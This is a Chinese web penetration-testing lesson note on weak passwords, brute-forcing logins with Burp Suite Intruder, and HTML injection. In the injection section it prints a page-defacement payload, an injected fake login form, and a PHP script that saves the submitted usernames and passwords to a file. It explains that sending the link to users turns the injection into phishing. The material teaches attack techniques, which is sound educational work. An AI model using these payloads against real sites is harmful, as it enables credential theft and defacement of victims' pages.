day2-web安全漏洞攻防-基础-弱口令、HTML注入(米斯特web渗透测试)
1,漏洞
挖掘和利用的是什么东西,漏洞(web应用存在的缺陷)
网站的前后端结构,前端是发生在浏览器上的漏洞,后端是发生在服务器上的漏洞
我们如何区分这些前端后端如HTML注入是前端的,将HTML代码注入到页面中就是前端的一个漏洞。
2,弱口令
弱口令(既不是前端也不是后端,关系到自己的安全意识,密码弱点)
也有第二种弱口令(使用社工,人性的弱点姓名首拼音,出生年月)
第一种傻瓜型的弱口令,会给你一份字典,总结了很多的常用型的弱口令
第二种需要使用一款在线的web应用工具,这工具源码会给你们,自己会PHP的也可以自己去读,如果不会PHP的等会安装教你们如何本地使用,这款工具叫密码字典生成工具。这个PHP文件直接放在phpstudy网站根目录下就能本地运行,用本地浏览器可打开。
因为caimima这个PHP文件未能找到,找到了一个替代性工具safe6社工爆破密码生成器的jar包,已经上传到kali系统中,可以运行。
弱口令这么多我们肯定是使用工具的手工不可能一个一个去输入,那所以说,弱口令这个漏洞不是网站的问题,当然网站也有问题(注册时未说明禁止弱口令),一般弱口令在登录处尝试,登录处有账号密码,有些需要验证码、时间限制等先绕过(之后会讲怎么绕过)。
3,爆破
弱口令有个名称爆破
(1)Burpsuite
Burpsuite很好用但需要一个java环境
在kali中打开burpsuite,怎么用它去爆破哪,这边有个模块proxy下有个option设置,将其监听者设置为127.0.0.1。
首先我们要进入需要暴力破解的登录界面,如我在centos7搭建的一个web网站,打开这个登录界面,然后将火狐浏览器的setting监听设置为本地127.0.0.1。8080端口。准备用burpsuite抓包。
然后将proxy下的intercept设为on开启。此时burpsuite就处于监听状态了。
在登录界面随便输入一个账号和密码,就能看到自己抓到的一个包。
此时就能在burpsuite看到自己抓到的一个包了(这个包是请求报文),这个包在这里显示了说明这个包还没有发送出去,点击forward这个就被发送出去了。第二个drop是丢包,在history可以看到之前抓到的包。丢弃之后点击history中的包,在下方可以看到只有请求包无响应包,说明它并没有发到对应的服务器上。
抓到包之后我们可以点击action,接着点击send to intruder这样就行了。如果我们不想抓包呢,可以在httphistory中选择一个包,对准下面一个框右键,send to intruder就行了。
为什么要送到intruder里面,intruder是一个爆破模块,可以提供我们自动的发送http请求,其实我们的的每一个操作在网页上的都是一次http请求,当然有一些也会经过前端JS进行自动请求。
比如现在已经抓到包了,在intruder的target中可以看到目标,上面的IP是你要爆破的IP,端口是80 端口。
接着进入第二个position模块,你可以看到很多的&符号,先点击右侧clear将&符号清空。首先爆破是在账号和密码上爆破,那么我们爆破是将值改变,只要将值设置为一个变动的量就行了。前后都有&符意思是将后面的当做变量。接着点击add&还原。等会我们说一下怎么设置字典。
(2)攻击类型
我们讲一讲攻击的种类在position模块下的attack type有四种:
第一种攻击类型sniper:第三个模块payloads是字典的设置,会有个payload set。设置字典是在payload options中设置,有个列表paste是粘贴,我们可以在字典生成器中将生成的txt字典文件打开,ctr+A和ctr+C全选复制后点击paste就将字典内容全部复制进去了。也可以选择load将txt文件导入进去。我们也可以自定义一个字典,点击start attack就开始攻击。以上是第一种攻击类型。第一种攻击类型,发送第0个包是自己输入的,从第一个开始系统改变。是先将你输入的账号改变,密码不改变登录;接着账号不改变,密码改变攻击。
第二种攻击类型batterring ram再次点击start attack,弹出的界面先不要关闭。用户名和密码都是字典生成的。
第三种类型也是如此,payload set 可以选择2。好像和第二种攻击没什么区别,但第二个只能设置一个字典,而第三个可以设置两个字典。两者的破译是同步进行的。
第四种攻击类型,也可以选择2个字典。和第三种攻击方式不同的是两个字典是可以交互交叉发送攻击的。
一般变量体是两个多个的时候,建议使用交叉式的攻击方式。如爆破账号密码时可使用交叉式,因为名字不确定,密码也不确定。交叉式是所有的结合的字典都给发过去。
在start attack攻击后弹出的intruder attack界面,发现length为539用户不存在,531密码错误,538OK已经爆破出来了,在下方能看到结果过返回。
4,HTML针剂注入
将HTML的标签代码注入到页面中,页面能解析这个HTML标签代码这才算一个成功的。
<table style="left: 0px;top:0px;position:fixed;z-index:5000;position:absolute;width:100%;height:300%;background-color:black;">
<tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align: top;"><h1>hacked by key</h1></td></tr></tbody>
HTML代码被解析了,这个漏洞有啥用呢?小明能将这个网站黑掉吗,只要是黑的加上个白字我们就称其被黑掉了,这就是黑页。
上图中的代码就是HTML代码,但他引用了css层叠样式表,css是用来梅花页面的,此代码就是将网站所有代码覆盖,用一个黑页遮挡住,再写上一些字就是黑掉了。这是什么方式的请求导致的,是get方式请求的,就是url。可以在网上找短链接生成,就能将长链接变成短链接了。这样的只是自娱自乐,别人打开有图,别人不打开此链接,直接访问其网站链接是看不到此黑页的。我们怎么让其打开之后产生危害呢,这边伪造了一个登录框出来,网址不再是姓名提交而是账号密码登录。我们将下图中比较长的请求代码发给此网站的用户、或者朋友,它如果过信了登录了输入了账号密码就能获取到用户的登录密码,为什么在action中做了手脚,将post发给了自己搭建的网站IP,传给了自己的网页并保存此账号密码,并生成一个笔记本。之前QQ空间会有些连接,如果打开了有登录框,对面会将账号密码保存在数据库中这就是钓鱼,不像我自己生成个txt是针对个人的。
<table style="left: 0px;top: 0px;position: fixed;z-index: 5000;position: absolute;width: 100%;background-color: white;">
<tr>
<td>
<form action="http://127.0.0.1/login.php" method="post">
账号:<input type="text" name="name"><br>
密码:<input type="password" name="pwd"><br>
<input type="submit" value="登录">
</form>
</td>
</tr>
</table>
<?php
header("content-type:text/html;charset=utf-8");
if (file_put_contents("test.txt", '账号:'.$_POST['name'].'密码:'.$_POST['pwd'],FILE_APPEND)) {
echo "登录成功";
}
?>
关于刚刚的弱口令相信知道如何修改弱口令了吧,不仅针对个人弱口令还有企业的弱口令。一个大企业管理较为麻烦,新员工入职给个企业邮箱,给个默认密码baidu@.123,这时新入职员工没改密码就能get到他的账号密码了,这个后期会给个案例,希望不要用于非法途径,内部有安全规则禁止使用此种密码。
如何修复这种HTML漏洞,下方给出答案,在PHP中最安全的函数。